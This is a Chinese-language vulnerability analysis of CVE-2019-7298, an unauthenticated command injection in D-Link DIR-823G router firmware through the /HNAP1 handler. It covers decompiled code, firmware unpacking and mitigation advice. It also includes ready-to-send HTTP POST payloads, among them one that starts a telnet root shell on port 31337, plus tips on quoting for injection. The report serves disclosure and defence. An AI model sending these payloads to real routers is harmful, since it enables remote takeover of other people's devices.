路由器漏洞分析之 CVE-2019-7298
字数 1619 2025-08-29 08:31:35
D-Link DIR-823G CVE-2019-7298 命令注入漏洞分析报告
漏洞概述
漏洞编号: CVE-2019-7298
影响设备: D-Link DIR-823G 路由器
影响版本: 固件版本 1.02B03 及以下
漏洞类型: 远程命令注入
CVSS评分: 9.8 (Critical)
漏洞发现者: 未知(先知社区发布分析)
漏洞描述
D-Link DIR-823G 路由器在处理 /HNAP1 请求时存在命令注入漏洞。攻击者可以通过构造恶意的 HNAP API 请求,在未授权的情况下执行任意操作系统命令。该漏洞源于 system() 函数执行了未经充分验证的用户输入。
技术细节
漏洞触发流程
- 攻击者向目标设备发送特制的
/HNAP1HTTP POST 请求 - GoAhead Web 服务器将请求路由到
websHNAPHandler处理函数 - 处理函数使用
snprintf构造包含用户输入的echo命令 - 构造的命令通过
system()函数执行,导致命令注入
关键代码分析
漏洞存在于 /bin/goahead 二进制文件的 sub_42383C 函数(即 websHNAPHandler)中:
memset(&v11[27], 0, 5000);
snprintf(&v11[27], 4999, "echo '%s' >/var/hnaplog", a7);
system(&v11[27]);
其中 a7 参数直接来自用户可控的 POST 数据,未经过任何过滤就被拼接到系统命令中执行。
漏洞利用条件
- 攻击者能够访问目标设备的 Web 接口(通常为 80 端口)
- 目标设备运行受影响固件版本(1.02B03 或更早)
- 不需要任何身份验证
漏洞复现
环境准备
- 受影响设备:D-Link DIR-823G 固件 1.02B03
- 攻击机:任意可发送 HTTP 请求的系统
- 网络环境:攻击机与目标设备在同一网络
复现步骤
- 构造恶意 HTTP 请求:
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 37
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=UTF-8
Accept: */*
SOAPAction: "http://purenetworks.com/HNAP1/Login"
Connection: close
'`echo hacked > /web_mtn/hacker.txt`'
- 发送请求到目标设备
- 验证漏洞利用是否成功:
- 检查
/web_mtn/hacker.txt文件是否被创建 - 文件内容应为 "hacked"
- 检查
利用技巧
-
命令构造:必须使用单引号闭合原始命令中的引号
- 错误示例:
`/bin/telnetd`→ 会被当作字符串处理 - 正确示例:
'`/bin/telnetd`'→ 会执行命令
- 错误示例:
-
SOAPAction 头:必须包含有效的 SOAPAction,可从固件中提取已知值
-
回显技巧:可通过写入Web目录文件或建立反向连接确认命令执行
深入分析
GoAhead Web 服务器机制
漏洞涉及的关键组件是 GoAhead Web 服务器,其 URL 处理机制如下:
websUrlHandlerDefine(T("/HNAP1"), NULL, 0, websHNAPHandler, 0);
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
固件分析过程
-
使用 binwalk 解包固件:
binwalk -Me DIR823GA1_FW102B03.bin -
分析启动脚本
/etc/rcS,发现启动了 GoAhead:goahead & -
逆向分析
/bin/goahead二进制文件,定位漏洞函数
漏洞根本原因
- 不安全函数使用:直接使用
system()执行包含用户输入的字符串 - 缺乏输入验证:未对用户提供的 POST 数据进行过滤
- 错误日志记录方式:通过 shell 命令记录日志而非安全 API
修复建议
-
厂商修复方案:
- 升级到最新固件版本
- 使用安全的日志记录方式(如直接文件写入)
- 实现严格的输入验证
-
临时缓解措施:
- 禁用 HNAP 服务(如果不需要)
- 配置防火墙规则限制对 Web 接口的访问
- 启用设备认证机制
参考链接
- 先知社区漏洞分析原文
- CVE-2019-7298 官方描述
- D-Link 安全公告
附录
完整攻击载荷示例
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0
Content-Type: text/xml
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"
Content-Length: 29
'`telnetd -l /bin/sh -p 31337`'
受影响函数表
固件中包含的 HNAP 处理函数(部分):
| 函数名 | 地址 | 描述 |
|---|---|---|
| GetDeviceSettings | 0x40XXXX | 设备设置获取 |
| Login | 0x40XXXX | 认证处理 |
| GetLocalMac | 0x40XXXX | MAC地址获取 |